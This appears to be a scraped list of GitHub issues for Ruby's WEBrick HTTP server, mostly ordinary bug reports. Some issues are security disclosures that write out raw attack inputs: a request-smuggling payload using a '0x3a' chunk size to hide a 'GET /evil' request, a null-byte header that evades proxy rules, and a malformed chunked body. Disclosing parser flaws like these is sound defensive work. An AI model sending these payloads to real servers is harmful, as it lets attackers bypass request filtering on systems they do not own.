ruby / webrick Goto Github PK
View Code? Open in Web Editor NEWHTTP server toolkit
License: BSD 2-Clause "Simplified" License
HTTP server toolkit
License: BSD 2-Clause "Simplified" License
Webrick currently responds to PUT requests with a status code 405 Method Not Allowed. The ProcHandler class needs to be patched to handle PUT requests correctly, which incurs duplication across projects:
module WEBrick
module HTTPServlet
class ProcHandler
alias do_PUT do_POST
end
end
end
Given that POST requests are allowed by default, and both PUT and POST requests are appropriately parsed in httprequest.rb, it seems reasonable to also allow PUT requests by default.
Others have encountered this sort of issue 1 2 suggesting that the behaviour is unexpected.
No matter what I try, I can't get passed https://github.com/ruby/webrick/blob/master/lib/webrick/httpresponse.rb#L272-L273. HTTPResponse
does not seem to have a mechanism for connection upgrades.
I'm trying to figure out how to shutdown a WEBrick server after some given number of seconds of inactivity. I'm writing a microservice that is in intended to only last for a short amount of time, usually a few seconds. Ideally the client process should send a shutdown command when it's done with the service, but I want a backup in which the microservice shuts down if no requests are received after, say 2 seconds.
Here's what I've tried that doesn't work.
server = WEBrick::HTTPServer.new(:Port => 8000)
WEBrick::Utils::TimeoutHandler.register(2, Timeout::Error)
server.start
I thought that would simply exit the process after 2 seconds. Here's what actually happens:
[2020-01-19 15:41:10] INFO WEBrick 1.4.2
[2020-01-19 15:41:10] INFO ruby 2.5.1 (2018-03-29) [x86_64-linux-gnu]
[2020-01-19 15:41:10] INFO WEBrick::HTTPServer#start: pid=16622 port=8000
[2020-01-19 15:41:12] ERROR Timeout::Error: execution timeout
/usr/lib/ruby/2.5.0/webrick/server.rb:170:in `select'
And then the process keeps running. I have to ctrl-c to end it.
What's the correct way to shut down a server and end the process after a timeout?
I have a proxy server running in a thread:
@server = WEBrick::HTTPProxyServer.new(ServerType: Thread, BindAddress: host, Port: port)
when process exists I call @server.shutdown
but it hangs forever so that I have to send Ctrl+C. While debugging this issue I figured that def do_CONNECT(req, res)
which binds a socket os = TCPSocket.new(host, port)
sometimes in ensure block has os
set to nil
. Which leads me to a question if https://github.com/ruby/ruby/blob/55c771c302f94f1d1d95bf41b42459b4d2d1c337/ext/socket/ipsocket.c#L187 socket can be nil
if we take into account inetsock_cleanup(VALUE v)
which returns return Qnil;
I fixed the issue by adding raise HTTPStatus::EOFError unless os
in ensure block so that we don't interact with the rest of descriptors. Other note is that none of the rescue blocks were called in do_CONNECT
.
Update: I still assume that TCPSocket.new
returns a socket or raises an error, but in my case I have no idea how I end up with nil as a socket even though we call thgroup.list.each{|th| th.join if th[:WEBrickThread] }
in shutdown. Maybe because ruby starts to terminate all threads because main thread exits?
There's a license Ruby, BSD-2-Clause
on rubygems.org, but in your repo you have only BSD-2-Clause.
Which is the correct one?
% irb
> RUBY_VERSION
=> "3.1.2"
> require 'webrick'
> WEBrick::HTTPUtils.escape(nil)
/Users/katsuhiko.yoshida/.rbenv/versions/3.1.2/lib/ruby/gems/3.1.0/gems/webrick-1.7.0/lib/webrick/httputils.rb:444:in `_escape': undefined method `b' for nil:NilClass (NoMethodError)
str = str.b
^^
(omit)
%irb
> RUBY_VERSION
=> "2.7.6"
> WEBrick::HTTPUtils.escape(nil)
Traceback (most recent call last):
7: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/bin/irb:23:in `<main>'
6: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/bin/irb:23:in `load'
5: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/lib/ruby/gems/2.7.0/gems/irb-1.2.6/exe/irb:11:in `<top (required)>'
4: from (irb):2
3: from (irb):3:in `rescue in irb_binding'
2: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/lib/ruby/2.7.0/webrick/httputils.rb:467:in `escape'
1: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/lib/ruby/2.7.0/webrick/httputils.rb:443:in `_escape'
NoMethodError (undefined method `b' for nil:NilClass)
WEBrick::HTTPUtils.escape_form(nil)
is also the same. If the exception was raised in complex situations (e.g. in third party library), it will be difficult to determine the cause (parameter is nil
).
My suggestions are following.
CGI.escape
is this behavior (raises a TypeError
)EscapeError
""
URI.encode_www_form_component
and ERB::Util.url_encode
are this behaviorThank you for your great work.
I came across CVE-2009-4492 while working on a tool that uses the Github Advisory database, which doesn't have a fixed
version in it's advisory data.
Based on postings here it has been fixed, but I can't find any reference to it here.
Ultimately I'm trying to determine if this is a case of mistaken identity (that the WEBrick
pointed to by the advisory is not the one that had the security vulnerability) or otherwise what version this was fixed in so that I can update the advisory.
I suspect it was fixed in 1.3.1 based on database specific info, but want to confirm that before changing the advisory.
I can't find official documentation for Webrick online. If this documentation exists, can the README be updated with a link, since this repository does come up in searches?
In /lib/webrick/httpresponse.rb:295
the location response header is modified to include the request URI, creating an absolute URI. However, relative URIs are allowed in the location field. (See https://datatracker.ietf.org/doc/html/rfc7231#section-7.1.2).
This causes issues with reverse proxies and other proxy software. For instance, Hashicorp Boundary proxies a TCP connection through localhost using an ephemeral port to a destination web server. Because webrick does not allow relative URIs in this field, the client navigates to the resource on the wrong host or port (because the request port from the proxy != the client port to the proxy).
I think this segment of code should be removed entirely.
WEBrick allows CR (\r
) within header values. RFC 9110 says not to do this:
Field values containing CR, LF, or NUL characters are invalid and dangerous, due to the varying ways that implementations might parse and interpret those characters; a recipient of CR, LF, or NUL within a field value MUST either reject the message or replace each of those characters with SP before further processing or forwarding of that message.
The suggested fix here would be to reject requests with headers containing bare CR.
We use a server config where Webrick also handles HTTPS. When a connection is aborted, an exception is logged. For example:
$ nc localhost 8443
$ cat server.log
2021-05-26T11:52:34 [E] <OpenSSL::SSL::SSLError> SSL_accept SYSCALL returned=5 errno=0 state=before SSL initialization
/usr/share/ruby/webrick/server.rb:299:in `accept'
/usr/share/ruby/webrick/server.rb:299:in `block (2 levels) in start_thread'
/usr/share/ruby/webrick/utils.rb:263:in `timeout'
/usr/share/ruby/webrick/server.rb:297:in `block in start_thread'
/usr/share/gems/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
This comes from:
Lines 252 to 277 in 3515081
It does look like various basic network errors are caught and ignored, but SSL errors can fall in the same category (such as this one). Not everything should be logged at the error level. I'm not sure how it should exactly be dealt with (or I'd submit a patch instead of a PR) so I'm looking for input on this.
Webrick version 1.7.0
When MAX_URI_LENGTH of 2083 is exceeded, instead of failing with the expected HTTPStatus::RequestURITooLarge
it instead fails with:
ERROR TypeError: can't convert nil into an exact number
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/activesupport-5.2.8.1/lib/active_support/core_ext/time/calculations.rb:275:in `-'
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/activesupport-5.2.8.1/lib/active_support/core_ext/time/calculations.rb:275:in `minus_with_duration'
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/activesupport-5.2.8.1/lib/active_support/core_ext/time/calculations.rb:286:in `minus_with_coercion'
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/accesslog.rb:112:in `setup_params'
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/httpserver.rb:223:in `access_log'
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/httpserver.rb:115:in `ensure in run'
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/httpserver.rb:115:in `run'
/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/server.rb:310:in `block in start_thread'
httpserver.rb#run() catches the error, but then as part of the ensure
block it throws another error.
So the actual issue I suppose is that the ensure block shouldn't be failing, even with some other error condition.
And an additional question:
Why is the MAX_URI_LENGTH remain at a value from 2010 for internet explorer? bd7388d
Hello I was using Jekyll based website and I found the following warning/error messages:
$ bundle exec jekyll serve
Configuration file: /home/leimao/GitHub/leimao.github.io/_config.yml
Source: /home/leimao/GitHub/leimao.github.io
Destination: /home/leimao/GitHub/leimao.github.io/_site
Incremental build: disabled. Enable with --incremental
Generating...
done in 2.164 seconds.
/var/lib/gems/2.7.0/gems/pathutil-0.16.2/lib/pathutil.rb:502: warning: Using the last argument as keyword parameters is deprecated
Auto-regeneration: enabled for '/home/leimao/GitHub/leimao.github.io'
Server address: http://127.0.0.1:4000
Server running... press ctrl-c to stop.
[2020-06-07 21:11:50] ERROR Errno::ECONNRESET: Connection reset by peer @ io_fillbuf - fd:17
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `eof?'
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `run'
/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
[2020-06-07 21:11:50] ERROR Errno::ECONNRESET: Connection reset by peer @ io_fillbuf - fd:18
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `eof?'
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `run'
/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
[2020-06-07 21:11:50] ERROR Errno::ECONNRESET: Connection reset by peer @ io_fillbuf - fd:17
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `eof?'
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `run'
/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
I don't know too much about Ruby so I wonder if this is a webrick problem or a Jekyll problem. Thank you.
Given this rack app
run Proc.new { raise Exception }
Run with
rackup -s webrick exception_200.ru
[2018-05-02 16:41:36] INFO WEBrick 1.4.2
[2018-05-02 16:41:36] INFO ruby 2.5.0 (2017-12-25) [x86_64-darwin16]
[2018-05-02 16:41:36] INFO WEBrick::HTTPServer#start: pid=36207 port=9292
[2018-05-02 16:41:59] ERROR Exception: Exception
/Users/gmartin-dempesy/x/exception_200.ru:1:in `block (2 levels) in <main>'
Returns this response
curl -v 0:9292
* Rebuilt URL to: 0:9292/
* Trying 0.0.0.0...
* TCP_NODELAY set
* Connected to 0 (127.0.0.1) port 9292 (#0)
> GET / HTTP/1.1
> Host: 0:9292
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: WEBrick/1.4.2 (Ruby/2.5.0/2017-12-25)
< Date: Wed, 02 May 2018 23:41:58 GMT
< Content-Length: 0
< Connection: Keep-Alive
<
* Connection #0 to host 0 left intact
I stumbled on this behavior in a Rails app running in the test environment, which by default raises errors due to config.action_dispatch.show_exceptions = false
, and a gem that wasn't subclassing its custom exceptions from StandardError
.
I believe the gap is this area of code:
webrick/lib/webrick/httpserver.rb
Lines 104 to 106 in 7b2c806
I think we're all on the same page that rescuing Exception
is not idiomatic due to signal and hardware related exceptions, but the current false-positive acknowledgment situation is dangerous and can cause lost writes.
I'd pitch either:
Exception
instead of StandardError
when setting the status codeI've noticed the constraint on the current WEBrick of ruby 2.5. I have not tried a Travis build on my fork to see if it works with 2.3 or 2.4.
Might the constraint be relaxed to include at least Ruby 2.4?
I checked it against a few local builds I have, and it passed for all the MSYS2 based builds, which is 2.3.5 forward. Also, passed a trunk vc140.
ruby 2.3.5p376 (2017-09-14 revision 59905) [x64-mingw32] ruby-loco
ruby 2.4.2p198 (2017-09-14 revision 59899) [x64-mingw32] standard RubyInstaller2
ruby 2.5.0dev (2017-12-11 trunk 61097) [x64-mswin64_140] custom vc140 and OpenSSL, zlib
ruby 2.5.0dev (2017-12-15 trunk 61278) [x64-mingw32] ruby-loco
It did fail on the current RubyInstaller build, 2.3.3.
Below is info from the 2.3 tests, not sure about the issue with 2.3.5...
Thanks, Greg
1) Failure:
TestWEBrickHTTPS#test_sni [E:/GitHub/webrick/test/webrick/utils.rb:64]:
exceptions on 1 threads:
#<Thread:0x000000031f4d90@E:/GitHub/webrick/test/webrick/utils.rb:57 dead>:
E:/GitHub/webrick/test/lib/minitest/unit.rb:201:in `assert': <"/CN=vhost1"> expected but was
<"/CN=localhost">. (MiniTest::Assertion)
from E:/GitHub/webrick/test/lib/test/unit/assertions.rb:37:in `assert'
from E:/GitHub/webrick/test/lib/test/unit/assertions.rb:298:in `assert_equal'
from E:/GitHub/webrick/test/webrick/test_https.rb:41:in `https_get'
from E:/GitHub/webrick/test/webrick/test_https.rb:93:in `block in test_sni'
from E:/GitHub/webrick/test/webrick/utils.rb:59:in `block in start_server'
101 tests, 713 assertions, 1 failures, 0 errors, 0 skips
ruby -v: ruby 2.3.3p222 (2016-11-21 revision 56859) [x64-mingw32]
[ 27/101] TestWEBrickHTTPProxy#test_connect
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:324: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:324: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
= 2.90 s
101 tests, 718 assertions, 0 failures, 0 errors, 0 skips
ruby -v: ruby 2.3.5p376 (2017-09-14 revision 59905) [x64-mingw32]
WEBrick::VERSION 1.4.0.beta1
When WEBrick shutdowns, it tries to concurrently write and close a file descriptor, and even tries to close it from multiple threads:
closing it from the main webrick thread:
Line 207 in 841b7da
closing it from an arbitrary thread:
Line 237 in 841b7da
writing to it (from an arbitrary thread):
Line 227 in 841b7da
A hack:
Line 353 in 841b7da
The problem is if the write_nonblock
which calls write(2) ends up happening once the fd
is close(2)d then it's EBADF, or worse writing to the wrong file descriptor.
This became such an issue that ruby/spec stopped using WEBrick and rewrote to make its own HTTP server to avoid this issue. Also the commit message of ruby/spec@d8ead5d may be interesting.
Only one thread (e.g. the main webrick thread) should close it, and it should wait all sub-threads before closing it so there are concurrent writes to the close.
CRuby has some very complex logic in IO#close which avoids the issue in most cases but it's not clear if it's fully reliable: https://ruby.slack.com/archives/C02A3SL0S/p1636604027275700?thread_ts=1636592668.266300&cid=C02A3SL0S
IIRC I've seen it fail for ruby/spec too on CRuby.
cc @ioquatix
webrick doesn't handle Unicode in HTTP location header, eg. redirection to an URL like http://dxczjjuegupb.cloudfront.net/wp-content/uploads/2017/10/Оуэн-Мэтьюс.jpg
.
[2023-02-17 16:41:33] ERROR URI::InvalidURIError: URI must be ascii only "http://dxczjjuegupb.cloudfront.net/wp-content/uploads/2017/10/\u041E\u0443\u044D\u043D-\u041C\u044D\u0442\u044C\u044E\u0441.jpg"
/usr/local/lib/ruby/3.2.0/uri/rfc3986_parser.rb:20:in `split'
/usr/local/lib/ruby/3.2.0/uri/rfc3986_parser.rb:71:in `parse'
/usr/local/lib/ruby/3.2.0/uri/rfc3986_parser.rb:111:in `convert_to_uri'
/usr/local/lib/ruby/3.2.0/uri/generic.rb:1110:in `merge'
/usr/local/bundle/gems/webrick-1.8.1/lib/webrick/httpresponse.rb:320:in `setup_header'
/usr/local/bundle/gems/webrick-1.8.1/lib/webrick/httpresponse.rb:240:in `send_response'
/usr/local/bundle/gems/webrick-1.8.1/lib/webrick/httpserver.rb:112:in `run'
/usr/local/bundle/gems/webrick-1.8.1/lib/webrick/server.rb:310:in `block in start_thread'
The following code is responsible:
webrick/lib/webrick/httpresponse.rb
Line 320 in 5510186
This is because methods such as URI.parse
or here URI.merge
only handles ASCII.
uri = URI.parse('http://dxczjjuegupb.cloudfront.net')
uri.merge('/wp-content/uploads/2017/10/Оуэн-Мэтьюс.jpg').to_s
/home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/rfc3986_parser.rb:20:in `split': URI must be ascii only "/wp-content/uploads/2017/10/\u041E\u0443\u044D\u043D-\u041C\u044D\u0442\u044C\u044E\u0441.jpg" (URI::InvalidURIError)
from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/rfc3986_parser.rb:71:in `parse'
from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/rfc3986_parser.rb:111:in `convert_to_uri'
from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/generic.rb:1110:in `merge'
from (irb):9:in `<main>'
from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/gems/3.2.0/gems/irb-1.6.2/exe/irb:11:in `<top (required)>'
from /home/noraj/.asdf/installs/ruby/3.2.0/bin/irb:25:in `load'
from /home/noraj/.asdf/installs/ruby/3.2.0/bin/irb:25:in `<main>'
So URL or fragments should be escaped first, with CGI.escape
for URL component and URI::Parser.new.escape
for full URLs.
Examples in https://github.com/noraj/ctf-party/blob/master/lib/ctf_party/cgi.rb.
cf. https://stackoverflow.com/questions/46849219/ruby-uriinvalidurierror-uri-must-be-ascii-only/75487328
patched code:
uri.merge(CGI.escape('/wp-content/uploads/2017/10/Оуэн-Мэтьюс.jpg')).to_s
# => "http://dxczjjuegupb.cloudfront.net/%2Fwp-content%2Fuploads%2F2017%2F10%2F%D0%9E%D1%83%D1%8D%D0%BD-%D0%9C%D1%8D%D1%82%D1%8C%D1%8E%D1%81.jpg"
The IPv6 host ::
is kind of analogous to the IPv4 address 0.0.0.0
, however it should usually (depending on the OS) listen for traffic coming from IPv4 and IPv6 addresses, unless specified differently by the OS.
However, i have observed that across different linux distros i have tried (manjaro, arch, debian), WEBRick will open its socket in ipv6-only mode.
I assume that the reason is this line as using the Socket.tcp_server_sockets
function manually leads to the same result.
However, e.g. using the TCPServer
from the socket
stdlib opens a socker that's not in ipv6-only mode.
Sample code i have used:
require 'webrick'
server = WEBrick::HTTPServer.new Port: 8080, Host: '::', DocumentRoot: '~/'
trap 'INT' do
server.shutdown
end
server.start
I have tested this with webrick 1.7.0 on ruby 3.1.1 and on ruby 2.6.3, both yielding the same result.
I have observed the mode using ss -tlne
, where the local address is shown as [::]:8080
, which indicates ipv6-only mode in ss
, while it should be *:8080
in non-ipv6-only mode.
It also says v6only:1
in the process description, while it should say v6only:0
.
Also here's the sample code using TCPServer
that correctly opens the socket:
require 'socket'
server = TCPServer.new('::', 8080)
loop do
client = server_socket.accept
client.puts 'hello'
client.close
end
I'm trying to make a proxy to send every request to the github api, but I keep getting the 'hello world' message, what am I doing wrong?
require 'webrick'
require 'webrick/httpproxy'
require 'uri'
proxy =
WEBrick::HTTPProxyServer.new ProxyURI: URI('http://api.github.com'), Port: 8080
trap 'INT' do proxy.shutdown end
trap 'TERM' do proxy.shutdown end
proxy.mount_proc '*' do |req, res|
method = req.request_method # POST
path_info = req.path_info # /account
res.body = 'Hello, world!'
end
proxy.start
WEBrick strips null bytes from the ends of header values. This presents a problem for reverse proxies that attempt enforce policies about header values and also allow null bytes in header values. At least one popular HTTP proxy server does this.
For example, if I have WEBrick deployed behind a reverse proxy that forwards null bytes in header values, and I add a rule to the reverse proxy to reject all requests with an Evil: evil
header, I can bypass the rule by sending the following request:
GET / HTTP/1.1\r\n
Evil: evil\x00\r\n
\r\n
WEBrick should respond 400 to any request containing null bytes in a header value, because it's a violation of the standard, and indicative of a potential attack.
When WEBrick receives a request containing an invalid chunk size, it is interpreted as its longest valid prefix. Thus, chunk sizes that begin with 0x
are treated as equivalent to 0
.
To see why this is a security problem, consider the following payload:
POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0x3a\r\n\r\nGET /evil HTTP/1.1\r\nContent-Length: 23\r\nE: vil\r\nEvil: \r\n\r\n0\r\n\r\nGET / HTTP/1.1\r\n\r\n
WEBrick sees it as a POST
request for /
, followed by a GET
for /evil
:
POST / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0x3a\r\n
\r\n
GET /evil HTTP/1.1\r\n
Content-Length: 23\r\n
E: vil\r\n
Evil: \r\n
\r\n
0\r\n\r\nGET / HTTP/1.1\r\n\r\n
Unfortunately, some HTTP servers ignore 0x
prefixes in chunk sizes due to bad parsing logic. Thus, many servers see a POST
request for /
and a GET
request for /
:
POST / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0x3a\r\n
\r\nGET /evil HTTP/1.1\r\nContent-Length: 23\r\nE: vil\r\nEvil: \r\n\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n
This discrepancy is exploitable to bypass request filtering rules implemented in reverse proxies that ignore 0x
prefixes.
Hey,
I am wondering how webrick's built-in timeout handler works with SSL. When I create an app with :RequestTimeout => 10
it works for HTTP endpoint but not for HTTPS endpoint:
# time telnet localhost 443
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
And the connection is stuck forever in ESTABILISHED
TCP state.
Is this expected to work or in case of OpenSSL the reading mechanism is different?
When WEBrick receives a request with no message body that is missing the final CRLF pair after the headers, and then the connection is closed for writing by the client, WEBrick responds to the request as though it were complete.
For example, if WEBrick receives the following request, (notice the missing final CRLF)
GET / HTTP/1.1\r\n
Host: whatever\r\n
and the client then half-closes the socket, WEBrick will still respond to the request. This request should be considered incomplete and rejected. This is what nearly every other HTTP implementation does.
Sorry for this noob question but isn't WEBrick a standard gem? I thought being a standard gem meant that there isn't any need to install it, since it comes with Ruby. If that's correct, then why does the README has an "Installation" section instructing us to install it using gem
or bundle
?
It uses the server nonce from that challenge, herein called
nonce-prime, and the client nonce value from the response, herein
called cnonce-prime, to construct A1 as follows:
A1 = H( unq(username) ":" unq(realm) ":" passwd ) ":" unq(nonce-prime) ":" unq(cnonce-prime)
this is not applied here, which is not using the usernamme and realm in the construction of the A1 value.
It appears that changes have been made to the "WEBrick 1.4.2" on the CRuby ruby_2_6 branch that were never released as an update to the webrick gem's 1.4.x versions.
Among the missing changes are the fixes for the "response-splitting" CVEs:
There are no references to 2017-17742 in webrick's master branch, so I am unsure which commit fixes it. The 2019-16254 CVE fixes were merged in #32, which appears to only be in WEBrick 1.6.0.
CRuby 2.6.6 still reports that it ships WEBrick 1.4.2, but it clearly has significant differences from the released gem. A full diff from WEBrick's v1.4.2
tag and CRuby's ruby_2_6
branch is provided below:
https://gist.github.com/headius/cb184868d6d8b709b8a3f62cd0c275eb
As it stands, I do not know what version of WEBrick the copy in CRuby 2.6.6 corresponds to. It appears to be a hybrid of many different patches, but it is clearly *not 1.4.2.
Changes to gemified libraries included in CRuby must be released via the gem or else it is impossible to track the actual released version of these libraries. Users need to know which version of these libraries they are actually running.
In addition, JRuby exclusively uses released gems for WEBrick and other libraries that have been gemified. Because the WEBRick sources have diverged without an updated release, we fail two specs from ruby/spec/security:
6)
WEBrick resists CVE-2017-17742 for a response splitting headers FAILED
Expected "200" == "500"
to be truthy but was false
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:17:in `block in <main>'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:4555:in `all?'
org/jruby/RubyArray.java:1815:in `each'
org/jruby/RubyArray.java:1815:in `each'
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:7:in `<main>'
org/jruby/RubyKernel.java:1078:in `load'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:1815:in `each'
7)
WEBrick resists CVE-2017-17742 for a response splitting cookie headers FAILED
Expected "200" == "500"
to be truthy but was false
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:30:in `block in <main>'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:4555:in `all?'
org/jruby/RubyArray.java:1815:in `each'
org/jruby/RubyArray.java:1815:in `each'
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:7:in `<main>'
org/jruby/RubyKernel.java:1078:in `load'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:1815:in `each'
These specs fail because the released WEBrick 1.4.2 still ships the vulnerable code.
WEBrick may need a new 1.4.x release that corresponds to the sources in CRuby 2.6.6.
CRuby will need new releases of affected branches that report the correct version of WEBrick that they include.
In the interim, we (JRuby) would appreciate help determining what version of WEBrick to include in our Ruby 2.5 and Ruby 2.6-compatible branches (for JRuby 9.2.12 this week and JRuby 9.3 later this summer).
According to RFC7231,
A server MUST NOT send any Transfer-Encoding or Content-Length header fields in a 2xx (Successful) response to CONNECT.
However, I tried the example code on https://docs.ruby-lang.org/en/2.2.0/WEBrick/HTTPProxyServer.html
require 'webrick'
require 'webrick/httpproxy'
proxy = WEBrick::HTTPProxyServer.new Port: 8000
trap 'INT' do proxy.shutdown end
trap 'TERM' do proxy.shutdown end
proxy.start
and sent a request through this proxy
$ ALL_PROXY=http://localhost:8000 curl -I https://www.google.com/
and it showed
HTTP/1.1 200 OK
Server: WEBrick/1.7.0 (Ruby/3.1.0/2021-12-25)
Date: Wed, 26 Jan 2022 03:48:33 GMT
Content-Length: 0
Connection: close
...
You can see the Content-Length
header is there, and it does cause problems for some kinds of clients.
When WEBrick receives a request with \x0b
or \x0c
on either side of a header value, it strips those characters off before processing the header. While header values should be whitespace stripped, the RFC is clear that the only whitespace that should be stripped is SP and HTAB.
Could you please remove BODY_CONTAINABLE_METHODS check:
Allow POSt and PUT methods with empty body and without Content-Length=0 header
Why is this happening, and what is the proper fix?
get '/' do
content_type 'text/plain'
request.env.each do |k, v|
puts "#{k}: #{v}"
end
end
TypeError: no implicit conversion of Array into String in ./rack-2.2.7/lib/rack/handler/webrick.rb:120
part = "#{part.join(': ')}\n" if part.is_a?(Array) # Hack
res.body << part
Notices:
We have installed omsagent on server, which also install ruby : https://github.com/microsoft/OMS-Agent-for-Linux
If we curl ruby port localhost:25324, we can see ruby version in the output:
If the ruby version is displayed then it can lead to security concerns as it is regularly getting flagged in their pentest.
So you would like to check if it is possible to hide the ruby version information.
As per our research we might need to modify webrick configurations but we cannot find the same in terms of omsagent.
When WEBrick receives a request with a chunked message body with a chunk length that's less than the length of the subsequent data, it silently ignores extra the extra data.
For example, if you send WEBrick the following request:
POST / HTTP/1.1\r\n
Host: whatever\r\n
Transfer-Encoding: chunked\r\n
\r\n
3\r\n
ABCthis-all-gets-ignored\r\n
0\r\n
\r\n
Then, WEBrick sees the message body as ABC
.
Other HTTP implementations (Apache, Daphne, Deno, FastHTTP, Go net/http, Gunicorn, H2O, HAProxy, Hypercorn, Jetty, Libevent, Lighttpd, Nginx, Node.js, Puma, Tomcat, Unicorn, Uvicorn, and Waitress) respond 400 when they receive requests with invalid chunked bodies.
Webrick
1.8.0
is incompatible with rack
2.2.6.2
, because it introduced "frozen" strings.
Version 1.7.0
still works.
You can find a minimum example here.
Response array must now be non-frozen.
Statesrack
in the upgrade guide.
A request that normally works with IPv4 is failing for IPv6. The webrick server is running behind Apache2, which is setting the x-forwarded-* headers.
$ curl -k https://[fd20:8b1e:b255:8154:250:56ff:fea8:4d84]/something
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
<HEAD><TITLE>Bad Request</TITLE></HEAD>
<BODY>
<H1>Bad Request</H1>
bad URI `/api/v3/versions'.
<HR>
<ADDRESS>
WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21) at
DCU-ADM1-178:4567
</ADDRESS>
</BODY>
</HTML>
I added some logging to httprequest.rb to output the headers:
(fails) x-forwarded-host: [fd20:8b1e:b255:8154:250:56ff:fea8:4d84]
(works) x-forwarded-host: 10.224.3.178
The bug appears to be in here:
def setup_forwarded_info
if @forwarded_server = self["x-forwarded-server"]
@forwarded_server = @forwarded_server.split(",", 2).first
end
@forwarded_proto = self["x-forwarded-proto"]
if host_port = self["x-forwarded-host"]
host_port = host_port.split(",", 2).first
@forwarded_host, tmp = host_port.split(":", 2) # HERE
@forwarded_port = (tmp || (@forwarded_proto == "https" ? 443 : 80)).to_i
end
if addrs = self["x-forwarded-for"]
addrs = addrs.split(",").collect(&:strip)
addrs.reject!{|ip| PrivateNetworkRegexp =~ ip }
@forwarded_for = addrs.first
end
end
Changing it to remove the split avoids the bug, but this simpler implementation doesn't support a port.
if host_port = self["x-forwarded-host"]
host_port = host_port.split(",", 2).first
@forwarded_host = host_port # Dropped the split on :
@forwarded_port = @forwarded_proto == "https" ? 443 : 80
end
Hi,
Testing the latest release (1.8.1) with Ruby 2.7.4, I see the following test failures:
F
==========================================================================================================
71: io.rewind
72: res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
73: assert_equal '500', res.code
=> 74: refute_match 'cracked_indicator_for_test', io.string
75: end
76:
77: def test_prevent_response_splitting_headers_lf
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:74:in `test_prevent_response_splitting_cookie_headers_cr'
Failure: test_prevent_response_splitting_cookie_headers_cr(WEBrick::TestHTTPResponse):
<REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
<"cracked_indicator_for_test"> was expected to be instance_of?
<Regexp> but was
<String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
50: io.rewind
51: res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
52: assert_equal '500', res.code
=> 53: refute_match 'cracked_indicator_for_test', io.string
54: end
55:
56: def test_prevent_response_splitting_headers_cr
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:53:in `test_prevent_response_splitting_cookie_headers_crlf'
Failure: test_prevent_response_splitting_cookie_headers_crlf(WEBrick::TestHTTPResponse):
